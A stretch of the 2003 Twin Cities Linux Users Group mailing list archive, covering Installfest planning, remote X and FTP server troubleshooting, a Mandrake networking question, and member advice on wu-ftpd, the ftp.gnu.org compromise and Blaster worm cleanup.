FulcrumWife: linux ?!?! Installfest?!?! as in installing linux? > fulcrum: Yeah... 10am - 5pm... > FulcrumWife: Like sit around and install Linux?!?! > Fulcrum: Yeah! fun eh? It's just up the road at the Toro company! We > could ride our bikes! > FulcrumWife: Toro? Linux? Why the heck would Toro be installing linux - > don't they make lawnmowers? > Fulcrum: never mind.... > > > > On Thu, 14 Aug 2003 07:50:03 -0500, Lansing, Dan > wrote: > > > Am I the only one who sees the title of this thread and gets a little > > jealous? I would love to have a date for installfest....alas my wife > > hates computers > > > > Dan Lansing > > ITSC > > > > -----Original Message----- > > From: Bruce Broecker [mailto:bruce.broecker@toro.com] Sent: Wednesday, > > August 13, 2003 4:48 PM > > To: tclug-list@mn-linux.org > > Subject: Re: [TCLUG] Have date for Installfest > > > > So, based on the bit of discussion, here's what I'm going to do: > > > > September Installfest > > Saturday, September 13th > > 10:00-5:00 (or thereabouts) > > The Toro Company > > 8111 Lyndale Ave S > > Bloomington, MN 55420 > > Corner of 82nd and Lyndale, just south of 494 and Lyndale > > Main entrance is on 82nd - park in the parking ramp > > Sign in with Security guard will likely be necessary > > > > Any final comments? I'm new to this, be gentle. > > > > Bruce > > > > Bruce Broecker > > Network Comm Supervisor > > The Toro Company > > > > > >>>> bruce.broecker@toro.com 08/11/03 11:12AM >>> > > Here's what I have available: > > > > 3 or 4 100mbit drops into the room, plus a mixed bag of Cisco switching > > equipment. > > Cisco Aironet AP1200, if desired. > > at least 3 separate 20 amp circuits (possibly more). > > tables and chairs (it's a big conference room laid out in presentation > > format). > > SVGA projector, if somebody wants to project an install on the big > > screen. > > Plenty of parking. > > > > What will be needed: > > Patch cords - most of what I have are shorter lengths and we will > > probably need longer stuff. > > Power strips and extension cords, of course. > > > > I'm going to post a notice to my IS department, as well as our > > engineering group, so there is a possibility of substantial numbers of > > new faces (including mine, since I've only participated virtually). > > > > Bruce Broecker > > Network Comm Supervisor > > The Toro Company > > > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Thu Aug 14 09:37:44 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] ftp.gnu.org Message-ID: <20030814143744.GA23833@mail.el-swifto.com> For those who haven't heard yet, ftp.gnu.org was hacked some time in March, and not noticed until recently: http://ftp.gnu.org/MISSING-FILES.README -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From amy at real-time.com Thu Aug 14 09:45:00 2003 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <001201c36271$ce65a420$6501a8c0@isd.net> References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> <001201c36271$ce65a420$6501a8c0@isd.net> Message-ID: <20030814144459.GB4427@real-time.com> On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald (smac@visi.com) wrote: > My wife hate them as well, makes me think wives don't like the work or > hobbies men have :o) Now don't overgeneralize. Female computer geeks do exist. :) -- Amy Tanner amy@real-time.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From troy.johnson at health.state.mn.us Thu Aug 14 09:52:38 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] Looking for an Emulator Message-ID: I would definitely not use the rsh stuff they set up unless you know exactly what you're doing, and doing it on a "safe" network. I just start the X server and use 'putty' to forward X apps to it. Good luck! --- Troy Johnson - troy.johnson@health.state.mn.us Programmer / System Administrator Minnesota Cancer Surveillance System - MDH >>> johnnyfulcrum@mn.rr.com 08/14/03 08:11 AM >>> Don't know what kind of network you're on, but the rsh command in the "cyborg" example looks as if you're passing the root password accross the network in plain text: >>>> rsh -l root 192.168.100.10 "xterm -display 192.168.100.25:0.0 -title >>>> Exit -e nohup /root/xcyborg > start.log &" might want to see if you can use ssh instead of rsh.... VNC (http://www.realvnc.com) encrypts the initial password exchange between client and server, and if you want to encrypt all traffic over a vnc connection - you can use SSH and port reditection on the client end. On Wed, 13 Aug 2003 22:36:43 -0500, Sam MacDonald wrote: > I tried this. > I get an rshd connection, I get a window on my PC with a nice X but I'm > not > sure what to do from that point :-/ > I'll work/read on it more tomorrow, I need some sleep. Hey in about an > hour > I got it going :o) > > Anyone else use this? > > > ----- Original Message ----- > From: "Troy.A Johnson" > To: > Sent: Wednesday, August 13, 2003 8:41 PM > Subject: Re: [TCLUG] Looking for an Emulator > > >> This might fit the bill... >> >> http://www.thecyborg.com/howto/xserver.html >> >> --- >> Troy Johnson - troy.johnson@health.state.mn.us >> Programmer / System Administrator >> Minnesota Cancer Surveillance System - MDH >> >>> smac@visi.com 08/13/03 14:57 PM >>> >> I'm looking for software like Exceed that will let me run a remote X >> session. >> I need something that will not impact my pocket at all, free = :o) >> If >> it >> has a server side it needs to run on Redhat 6.2, kernel 2.2.14-5.0 > Clients >> for W95, 98, and 2K. >> >> I've installed and am running Webmin, that gives me most of what I need >> remote. I want to work with my websites in the environments they live >> in. >> That way I can use the native tools and build my skill set. I'm > unemployed >> and need to get more skills with Linux. I'm finding many positions >> requiring Windows and Linux. Being a Windows SA just isn't cutting it. >> >> This is my LAN setup, just in case you would like to know. >> W2K Server sp4 >> Compaq Proliant 2500 (I know Compaq hardware) >> 2 @ 200 MHz Ppro 512k cache each >> 384 Mb ram >> 5@4.2 gig drives - Raid 5 >> 100 mbt network >> Linux - Redhat 6.2 (it was 7 bucks in the box). >> P200 >> 64 Mb ram >> 2.5 gig ATA disk >> 6x CD-ROM >> 10 mbt network (isa) >> Network >> Cisco 678 >> Linksys router (lets me use ports for fun stuff) >> Asantie` 10/100 switch >> w95 and w98 clients, my old laptop will be Linux at the install fest :) >> >> http://www.screechowl.org for w2k, apache, MySQL, php box >> http://www.screechowl.org:1001 for Linux, apache, php box >> >> did I say I'm learning PHP and MySQL... >> >> Sam. >> >> >> _______________________________________________ >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >> http://www.mn-linux.org tclug-list@mn-linux.org >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> >> _______________________________________________ >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >> http://www.mn-linux.org tclug-list@mn-linux.org >> https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kent at structural-wood.com Thu Aug 14 10:00:21 2003 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> <001201c36271$ce65a420$6501a8c0@isd.net> <20030814144459.GB4427@real-time.com> Message-ID: <3F3BA405.7010404@structural-wood.com> Amy Tanner wrote: > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald (smac@visi.com) wrote: > >>My wife hate them as well, makes me think wives don't like the work or >>hobbies men have :o) > > > Now don't overgeneralize. Female computer geeks do exist. :) > Now don't overgeneralize. At least one female computer geek exists. :) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From eh at constantdata.com Thu Aug 14 10:05:17 2003 From: eh at constantdata.com (A. A. El Haddi) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <20030814144459.GB4427@real-time.com> Message-ID: Don't want to hijack the thread but Amy is right! For more information, please attend a talk by Maria Klawe, Princeton U. "Myths, Opinions and Facts about Females and Computing", 11/24/03 11:15am, U of M Computer Science, rm 3-125. This is real. It's in the UMN CS soundbyte newsletter or See www.cs.umn.edu/colloquia/fall_03.html --elhaddi On Thu, 14 Aug 2003, Amy Tanner wrote: > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald (smac@visi.com) wrote: > > My wife hate them as well, makes me think wives don't like the work or > > hobbies men have :o) > > Now don't overgeneralize. Female computer geeks do exist. :) > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Thu Aug 14 10:06:55 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <1060641520.2896.9.camel@myah> Message-ID: Information is updated on the debconf site now. Please RSVP to Scott Dier so we can reserve the right sized table at Brit's. What: Drinking, eating, talking, etc. GPG keysigning if anyone wants to. Where: Brit's Pub, Downtown Minneapolis on Nicollet Mall When: Meet at 6pm Info: See Call for interest or mail Scott Dier Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Thu Aug 14 10:15:46 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: References: <1060641520.2896.9.camel@myah> Message-ID: <20030814151546.GA25630@skuld.wookimus.net> On Thu, Aug 14, 2003 at 10:06:55AM -0500, Andy Zbikowski (Zibby) wrote: > What: Drinking, eating, talking, etc. GPG keysigning if anyone wants to. That prompts me to think about printing my personal "business" cards one of these days. I've got the latex files to do it, just haven't gotten around to buying cardstock. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... 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Female computer geeks do exist. :) > > > Now don't overgeneralize. At least one female computer geek exists. :) There are a few others on this list, actually. -- Amy Tanner amy@real-time.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From pjcrump at bitstream.net Thu Aug 14 10:44:13 2003 From: pjcrump at bitstream.net (pjcrump@bitstream.net) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] Mandrake 9.1 not connecting Message-ID: <20030814154413.AD291E4769@vpop-2.mc.mpls.visi.com> I'm a networking newbie.. so please be gentle.. Just installed Mandrake 9.1 and I am unable to get the network connection working. I have worked through the Mandrake Control Center but to no avail (googling indicates that the control center is junk). The nic is a built in VIA VT6103 (which I would expect that Mandrake setup the drivers correctly) Here is output of the ifconfig --------- eth0 Link encap:Ethernet HWaddr 00:E0:4C:A7:82:0C UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:67 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) Interrupt:16 Base address:0xe800 eth0:9 Link encap:Ethernet HWaddr 00:E0:4C:A7:82:0C inet addr:169.254.251.14 Bcast:169.254.255.255 Mask:255.255.0.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:16 Base address:0xe800 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:554 errors:0 dropped:0 overruns:0 frame:0 TX packets:554 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:46262 (45.1 Kb) TX bytes:46262 (45.1 Kb) --------- One thing that I see that is wierd is the eth0:9 - what does the :9 mean? .. And here is the output of the route -n command: ----------- Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo ----------- I understand that the 169.254.0.0 has something to do w/ Samba? I think something in the routing table looks wrong but I dunno? Thanks in advance! - pj _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From devel_support at crlc.net Thu Aug 14 10:57:22 2003 From: devel_support at crlc.net (Carl Lindgren) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] ProFTP and Symlinks Message-ID: <001501c3627c$c0051090$0325a8c0@crlc.net> I maybe just missing something here but... I have an Intranet server setup for anonymous FTP using ProFTP and I administer/configure it using Webmin 1.0. I want to be able to use a symlink to add a directory that is located on another partition/disk. When I add a symlinked directory to the FTP tree, the clients returns [Alert 550 /mydirectory: No such file or directory]. I'm sure its just something simple but its escaping me at the moment. Can someone give me a clue of what is wrong and where to look/add with the configuration settings. Thanks, Carl Lindgren _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Thu Aug 14 11:04:19 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] ProFTP and Symlinks In-Reply-To: <001501c3627c$c0051090$0325a8c0@crlc.net> References: <001501c3627c$c0051090$0325a8c0@crlc.net> Message-ID: I think upon login, users are put in a chroot jail. you can't symlink out of a chroot area no matter who sets up the link! might look into chroot cells and if ProFTP is using it.... I was able to use loopback mounts once to do what you did... I'd have to dig a bit to find my doc - if you'd like... (I think I was using wuftp....) On Thu, 14 Aug 2003 10:57:22 -0500, Carl Lindgren wrote: > I maybe just missing something here but... > > I have an Intranet server setup for anonymous FTP using ProFTP and I > administer/configure it using Webmin 1.0. I want to be able to use a > symlink > to add a directory that is located on another partition/disk. When I add > a > symlinked directory to the FTP tree, the clients returns [Alert 550 > /mydirectory: No such file or directory]. I'm sure its just something > simple > but its escaping me at the moment. > > Can someone give me a clue of what is wrong and where to look/add with > the > configuration settings. > > Thanks, > Carl Lindgren > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dd-b at dd-b.net Thu Aug 14 11:18:13 2003 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <20030814144459.GB4427@real-time.com> References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> <001201c36271$ce65a420$6501a8c0@isd.net> <20030814144459.GB4427@real-time.com> Message-ID: Amy Tanner writes: > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald (smac@visi.com) wrote: > > My wife hate them as well, makes me think wives don't like the work or > > hobbies men have :o) > > Now don't overgeneralize. Female computer geeks do exist. :) I've worked with a few first-rate ones. But there still aren't *enough* of them :-). (Happily married to a word geek, which works fine for me.) -- David Dyer-Bennet, , RKBA: Photos: Snapshots: Dragaera mailing lists: _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Thu Aug 14 11:28:24 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:22 2005 Subject: [TCLUG] ProFTP and Symlinks In-Reply-To: References: <001501c3627c$c0051090$0325a8c0@crlc.net> Message-ID: <20030814162824.GC25630@skuld.wookimus.net> On Thu, Aug 14, 2003 at 11:04:19AM -0500, Johnny Fulcrum wrote: > to dig a bit to find my doc - if you'd like... (I think I was using > wuftp....) Slightly off-topic, but I would recommend not using WuFTPd for new installations. I would also recommend migrating away from it for existing ones. The software has been a veritable nightmare of bugs and exploits. ProFTPd has had it's own shakey history. Here's my recommendation, but I'm not the only one who thinks so. Red Hat uses this software for their FTP mirrors: Package: vsftpd Priority: extra Section: net Installed-Size: 180 Maintainer: Daniel Jacobowitz Architecture: i386 Version: 1.0.0-2 Provides: ftp-server Depends: libc6 (>= 2.2.4-4), libcap1, libpam0g (>= 0.72-1) Recommends: logrotate Filename: pool/main/v/vsftpd/vsftpd_1.0.0-2_i386.deb Size: 60082 MD5sum: 6b1faf046ee1203833f6ad7b2a542e71 Description: The Very Secure FTP Daemon A lightweight, efficient FTP server written from the ground up with security in mind. . vsftpd supports both anonymous and non-anonymous FTP, PAM authentication, bandwidth limiting, and the Linux sendfile() facility. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... 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I've gotten burned there. :| Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Thu Aug 14 11:58:53 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:22 2005 Subject: [TCLUG] Slight OT: Huge CVS tree management? In-Reply-To: <20030813224143.GA363@duron> References: <200308131629.24124@Twin.Cities.Linux.Users.Group-www.mn-linux.org> <20030813233440.GA23212@skuld.wookimus.net> <20030813224143.GA363@duron> Message-ID: <200308141158.53212@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Wednesday 13 August 2003 05:41 pm, Karl Bongers wrote: > > On Wed, Aug 13, 2003 at 04:29:24PM -0500, Bob Tanner wrote: > > > When your cvs repository gets large enough that a cvs update -dP takes > > > 15mins, and cvs commit at just as long, what do you do? > > A cvs checkout on a 18M project(sdcc) on sourceforge just took > about 1 minute. Afterwards a cvs update took about 5 seconds. > How large can your repository be? $ du -sh 1.7G . -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 14 12:27:20 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:22 2005 Subject: [TCLUG] Looking for an Emulator References: Message-ID: <000401c36289$51556b60$6501a8c0@isd.net> My network is isolated, connected to the internet but secure (at home). ----- Original Message ----- From: "Troy.A Johnson" To: Sent: Thursday, August 14, 2003 9:52 AM Subject: Re: [TCLUG] Looking for an Emulator > I would definitely not use the rsh stuff they set up unless you know > exactly what you're doing, and doing it on a "safe" network. I just start > the X server and use 'putty' to forward X apps to it. Good luck! > > --- > Troy Johnson - troy.johnson@health.state.mn.us > Programmer / System Administrator > Minnesota Cancer Surveillance System - MDH > >>> johnnyfulcrum@mn.rr.com 08/14/03 08:11 AM >>> > > Don't know what kind of network you're on, but the rsh command in the > "cyborg" example looks as if you're passing the root password accross the > network in plain text: > > >>>> rsh -l root 192.168.100.10 "xterm -display 192.168.100.25:0.0 -title > >>>> Exit -e nohup /root/xcyborg > start.log &" > > might want to see if you can use ssh instead of rsh.... > > VNC (http://www.realvnc.com) encrypts the initial password exchange between > > client and server, and if you want to encrypt all traffic over a vnc > connection - you can use SSH and port reditection on the client end. > > > > On Wed, 13 Aug 2003 22:36:43 -0500, Sam MacDonald wrote: > > > I tried this. > > I get an rshd connection, I get a window on my PC with a nice X but I'm > > not > > sure what to do from that point :-/ > > I'll work/read on it more tomorrow, I need some sleep. Hey in about an > > hour > > I got it going :o) > > > > Anyone else use this? > > > > > > ----- Original Message ----- > > From: "Troy.A Johnson" > > To: > > Sent: Wednesday, August 13, 2003 8:41 PM > > Subject: Re: [TCLUG] Looking for an Emulator > > > > > >> This might fit the bill... > >> > >> http://www.thecyborg.com/howto/xserver.html > >> > >> --- > >> Troy Johnson - troy.johnson@health.state.mn.us > >> Programmer / System Administrator > >> Minnesota Cancer Surveillance System - MDH > >> >>> smac@visi.com 08/13/03 14:57 PM >>> > >> I'm looking for software like Exceed that will let me run a remote X > >> session. > >> I need something that will not impact my pocket at all, free = :o) > >> If > >> it > >> has a server side it needs to run on Redhat 6.2, kernel 2.2.14-5.0 > > Clients > >> for W95, 98, and 2K. > >> > >> I've installed and am running Webmin, that gives me most of what I need > >> remote. I want to work with my websites in the environments they live > >> in. > >> That way I can use the native tools and build my skill set. I'm > > unemployed > >> and need to get more skills with Linux. I'm finding many positions > >> requiring Windows and Linux. Being a Windows SA just isn't cutting it. > >> > >> This is my LAN setup, just in case you would like to know. > >> W2K Server sp4 > >> Compaq Proliant 2500 (I know Compaq hardware) > >> 2 @ 200 MHz Ppro 512k cache each > >> 384 Mb ram > >> 5@4.2 gig drives - Raid 5 > >> 100 mbt network > >> Linux - Redhat 6.2 (it was 7 bucks in the box). > >> P200 > >> 64 Mb ram > >> 2.5 gig ATA disk > >> 6x CD-ROM > >> 10 mbt network (isa) > >> Network > >> Cisco 678 > >> Linksys router (lets me use ports for fun stuff) > >> Asantie` 10/100 switch > >> w95 and w98 clients, my old laptop will be Linux at the install fest :) > >> > >> http://www.screechowl.org for w2k, apache, MySQL, php box > >> http://www.screechowl.org:1001 for Linux, apache, php box > >> > >> did I say I'm learning PHP and MySQL... > >> > >> Sam. > >> > >> > >> _______________________________________________ > >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > >> http://www.mn-linux.org tclug-list@mn-linux.org > >> https://mailman.real-time.com/mailman/listinfo/tclug-list > >> > >> > >> _______________________________________________ > >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > >> http://www.mn-linux.org tclug-list@mn-linux.org > >> https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blutgens at us-admins.com Thu Aug 14 12:22:31 2003 From: blutgens at us-admins.com (Ben Lutgens) Date: Mon Jan 17 12:40:22 2005 Subject: [TCLUG] Blaster ---WAS: [TCLUG]OT am i retarded? In-Reply-To: <20030814141729.GC2168@fandre.com> Message-ID: On Thursday, Aug 14, 2003, at 09:17 US/Central, Clay Fandre wrote: > So why is everyone getting his with the Blaster? Doesn't anyone patch > anymore? As soon as the DCOM exploit came out, it was obvious (to me) > that a worm would soon follow. Was I the only one who realized that? > Should I have shared that info with the rest of the world? I guess you > can blame me then. Sorry everyone. Nope, the only ones I've had to fix are home users, or customers who have laptops they use at home, and refuse to protect themselves. two simple steps to prevent these attacks: 1. turn on doze's lil weak ass firewall 2. apply patches if infected, go to http://sophos.com and snag the removal tool, RTFM it, run it. Then apply the simple rules above. Its _really_ not that big of a deal. > > On Thu, 14 Aug 2003, Bruce Broecker wrote: > >> Thanks Man, I needed that. We're fighting Blaster right now. >> > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blutgens at us-admins.com Thu Aug 14 12:23:55 2003 From: blutgens at us-admins.com (Ben Lutgens) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <20030814144459.GB4427@real-time.com> Message-ID: <150CF426-CE7C-11D7-A059-000A9581A7A6@us-admins.com> On Thursday, Aug 14, 2003, at 09:45 US/Central, Amy Tanner wrote: > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald > (smac@visi.com) wrote: >> My wife hate them as well, makes me think wives don't like the work or >> hobbies men have :o) > > Now don't overgeneralize. Female computer geeks do exist. :) Yeah, but they're all taken by some lucky bastard. > > -- > Amy Tanner > amy@real-time.com > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rpgoldman at real-time.com Thu Aug 14 12:26:17 2003 From: rpgoldman at real-time.com (rpgoldman@real-time.com) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] Mandrake 9.1 not connecting In-Reply-To: <20030814154413.AD291E4769@vpop-2.mc.mpls.visi.com> References: <20030814154413.AD291E4769@vpop-2.mc.mpls.visi.com> Message-ID: <16187.50745.584270.483155@gargle.gargle.HOWL> Try sending your /etc/networking-scripts/ifcfg-eth0, and /etc/modules.conf. Also look for information about the ethernet configuration in the output of dmesg. You're right, that ':9' looks very troubling. r _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Thu Aug 14 12:58:47 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] wu-ftpd ick ick ick (was: Re: ProFTP and Symlinks) In-Reply-To: References: Message-ID: Oh let me tell you! I was totally against configuring it/using it - I was overridden by some mucky mucks.... if the wuftp wasn't bad enough - you should have seen the username/password combos the thing was serving... testuser1/testuser1 testuser2/tsetuser2 poweruser/passwd1 Holy smokes ! I got in, figured out the loopback mounting they wanted, got some CYA indicating I was against it's use (wu-ftp), and turned over all the info. I didn't want to lose my job (I was just starting out at this company) - what do you do??? On Thu, 14 Aug 2003 11:38:05 -0500 (CDT), Jima wrote: > On Thu, 14 Aug 2003, Chad Walstrom wrote: >> Slightly off-topic, but I would recommend not using WuFTPd for new >> installations. I would also recommend migrating away from it for >> existing ones. The software has been a veritable nightmare of bugs and >> exploits. > > I strongly second this recommendation. Every year or two it seems that > there's a huge vulnerability that affects the vast majority of wu-ftpd > releases. I've gotten burned there. :| > > Jima > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From pavel at internetcomealive.com Thu Aug 14 13:42:24 2003 From: pavel at internetcomealive.com (Pavel Ushakov) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] ATI Radeon 9000, RedHat and Apple Studio Display Message-ID: <1060886544.3f3bd810a1272@www.internetcomealive.com> Hi, I need some help, the one who gets it to work will get a $50-Thank You. My real problem here is my MONITOR. I have 17" Apple Studio Display. I would like to use Apple display with RedHat 9.0 - I've tried to get it to work, but can't. My video card is ATI Radeon 9000 Pro. When installing RedHat in graphic mode - it works fine, but when trying to startx - no luck. The best where I got is black screen when X starts. I've tried GeForce FX 5600 Ultra card with my Apple LCD - got it to work at 800x600, and not at 1280x1024 